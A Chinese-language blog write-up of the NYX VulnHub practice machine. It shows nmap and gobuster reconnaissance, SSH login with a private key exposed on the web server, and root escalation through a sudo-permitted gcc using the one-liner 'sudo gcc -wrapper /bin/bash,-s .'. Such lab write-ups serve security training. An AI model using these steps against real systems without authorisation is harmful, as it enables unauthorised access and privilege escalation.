首页 > 其他分享 >NYX靶机笔记

NYX靶机笔记

时间:2024-08-24 21:15:02浏览次数:11  
标签:NYX http Nmap 笔记 nmap 192.168 靶机 84.137 ssh

NYX靶机笔记

概述

VulnHub里的简单靶机

靶机地址:https://download.vulnhub.com/nyx/nyxvm.zip

1、nmap扫描

1)主机发现

# -sn 只做ping扫描,不做端口扫描
nmap -sn 192.168.84.1/24 
# 发现靶机ip为
MAC Address: 00:50:56:E0:D5:D4 (VMware)
Nmap scan report for 192.168.84.137

2)端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.84.137 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 08:13 EDT
Nmap scan report for 192.168.84.137
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:6F:B3:09 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds
# sT 以tcp扫描,sC 以默认脚本扫描,sV 输出端口详细信息 O 探测操作系统版本
sudo nmap -sT -sV -sC -O  -p22,80 192.168.84.137 -o details


Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 08:14 EDT
Nmap scan report for 192.168.84.137
Host is up (0.0017s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fc8b87f436cd7d0fd8f31615a947f10b (RSA)
|   256 b45c089602c6a80b01fd4968ddaafb3a (ECDSA)
|_  256 cbbf2293697660a47dc019f3c715e73c (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: nyx
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:6F:B3:09 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.99 seconds

结果可以看到22为常规ssh服务,80为Apache服务,版本为2.4.38 操作系统版本 Linux 4.15 - 5.6

3)默认漏洞脚本扫描

sudo nmap --script=vuln 192.168.84.137 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-24 08:15 EDT
Nmap scan report for 192.168.84.137
Host is up (0.000058s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|_  /d41d8cd98f00b204e9800998ecf8427e.php: Seagate BlackArmorNAS 110/220/440 Administrator Password Reset Vulnerability
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 00:0C:29:6F:B3:09 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 32.22 seconds

看到80端口,我们用浏览器打开看一看

2、Web渗透

1)主页

image-20240824201840991

源码信息

image-20240824202004466

漏洞扫面探测是看到

image-20240824204111481

ssh的key信息,保存下来

2)目录爆破

sudo gobuster dir -u http://192.168.84.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,tar,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.137
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip,tar,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/key.php              (Status: 200) [Size: 287]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

打开key.php文件

image-20240824202715519

三、获得立足点

结合我们以上获取的信息,ssh信息的标题和密钥,尝试ssh登陆

sudo ssh -i id_rsa [email protected]
image-20240824205145949

成功获得立足点

image-20240824210505300

四、提权到root

sudo -l
Matching Defaults entries for mpampis on nyx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mpampis may run the following commands on nyx:
    (root) NOPASSWD: /usr/bin/gcc

看到gcc可以执行

sudo gcc -wrapper /bin/bash,-s .

image-20240824210925960

标签:NYX,http,Nmap,笔记,nmap,192.168,靶机,84.137,ssh
From: https://www.cnblogs.com/LINGX5/p/18378276

相关文章

  • SpringBoot文档之IO的阅读笔记
    IOCachingCachingSpringBoot提供组件spring-boot-starter-cache,提供缓存能力。关键类,如下:CacheManagerCacheResolverCacheManagerCustomizerConcurrentMapCacheManager关键注解,如下:@EnableCaching@Cacheable参考资料CacheAbstractionCachingConfigurer......
  • SpringBoot文档之消息系统的阅读笔记
    MessagingJMSJMS关键类,如下:jakarta.jms.ConnectionFactoryjakarta.jms.ConnectionJmsTemplateActiveMQPropertiesActiveMQConnectionFactoryCustomizerJmsListenerContainerFactoryDefaultJmsListenerContainerFactoryMessageConverterDefaultJmsListenerContain......
  • sql笔记
    SQL语句可以单行或者多行书写,以分号表示结尾SQL不区分大小写,关键字推荐大写注释单行注释:--空格注释内容或者#注释内容(mysql特有)(#号可以没有空格)多行注释:/*注释*/sql中语言的分类:DDL数据定义语言,用来定义数据库对象,数据库,表,列等DML数据操作语言......
  • 【读书笔记-《30天自制操作系统》-8】Day9
    本篇的主题围绕着内存管理进行展开。首先编写了内存容量获取的程序,接下来详细讲解了内存管理的具体内容,以及两种实现内存管理的方式。1.内存容量获取前面已经实现了访问内存的扩展,能够使用的内存大大增加了。但是不同的应用程序在运行时,对内存的使用会有不同的要求,这就需......
  • Datawhale X 李宏毅苹果书 AI夏令营task1笔记
    一、什么是机器学习机器学习:通过从经验中学习,使计算机能够从数据中提取出规律、模式和知识,并利用这些知识来做出预测、做出决策或执行任务,而无需明确地编程规则。二、机器学习常见概念1.监督学习和无监督学习1.1监督学习定义:提供输入数据和其对应的标签数据,然后搭建一个模型,模......
  • 《Programming from the Ground Up》阅读笔记:p103-p116
    《ProgrammingfromtheGroundUp》学习第7天,p103-p116总结,总计14页。一、技术总结1.读写文件(1)linux.slinux.s:#filename:linux.s#systemcallnumbers(按数字大小排列,方便查看).equSYS_READ,0.equSYS_WRITE,1.equSYS_OPEN,2.equSYS_CLOSE,3.equSYS_EXI......
  • 卡片盒笔记法
    回顾个人的资料整理史,一直充满坎坷。我尝试了各种各样的资料管理模式。比如早期的网文快捕,可以把网页整体抓下来,可以分类,加标签,可以导出电子书,功能貌似很全面了。但是,当资料累积到一定规模之后,就发现难以为继了。管理、查询都很困难,下载的东西在软件里积灰,很久都不会去看,最后放弃......
  • kubernetes学习笔记
    基础环境系统镜像版本Centos7.6最小化最低运行环境基本要求内存及CPU:512MB/CPU1核K3s版本v1.30.0+k3s1集群规划:注意:需要对每台主机设置hostname,使用hostnamectlset-hostname主机名K8s-master192.168.200.1291C/1GK8s-worker1192.168.200.1302C/......
  • [LeetCode笔记]942. 增减字符串匹配
    /*942.增减字符串匹配由范围[0,n]内所有整数组成的n+1个整数的排列序列可以表示为长度为n的字符串s,其中:如果perm[i]<perm[i+1],那么s[i]=='I'如果perm[i]>perm[i+1],那么s[i]=='D'给定一个字符串s,重构排列perm并返回它。如果有多个有效排......
  • MySQL学习笔记之用户管理与权限控制(DCL)
    文章目录MySQL用户管理与权限控制用户管理(DCL-DataControlLanguage)1.查询用户2.创建用户3.修改用户密码4.删除用户权限控制(DCL-DataControlLanguage)1.查询权限2.授予权限3.撤销权限总结完整代码<br/>MySQL用户管理与权限控制用户管理(DCL-Dat......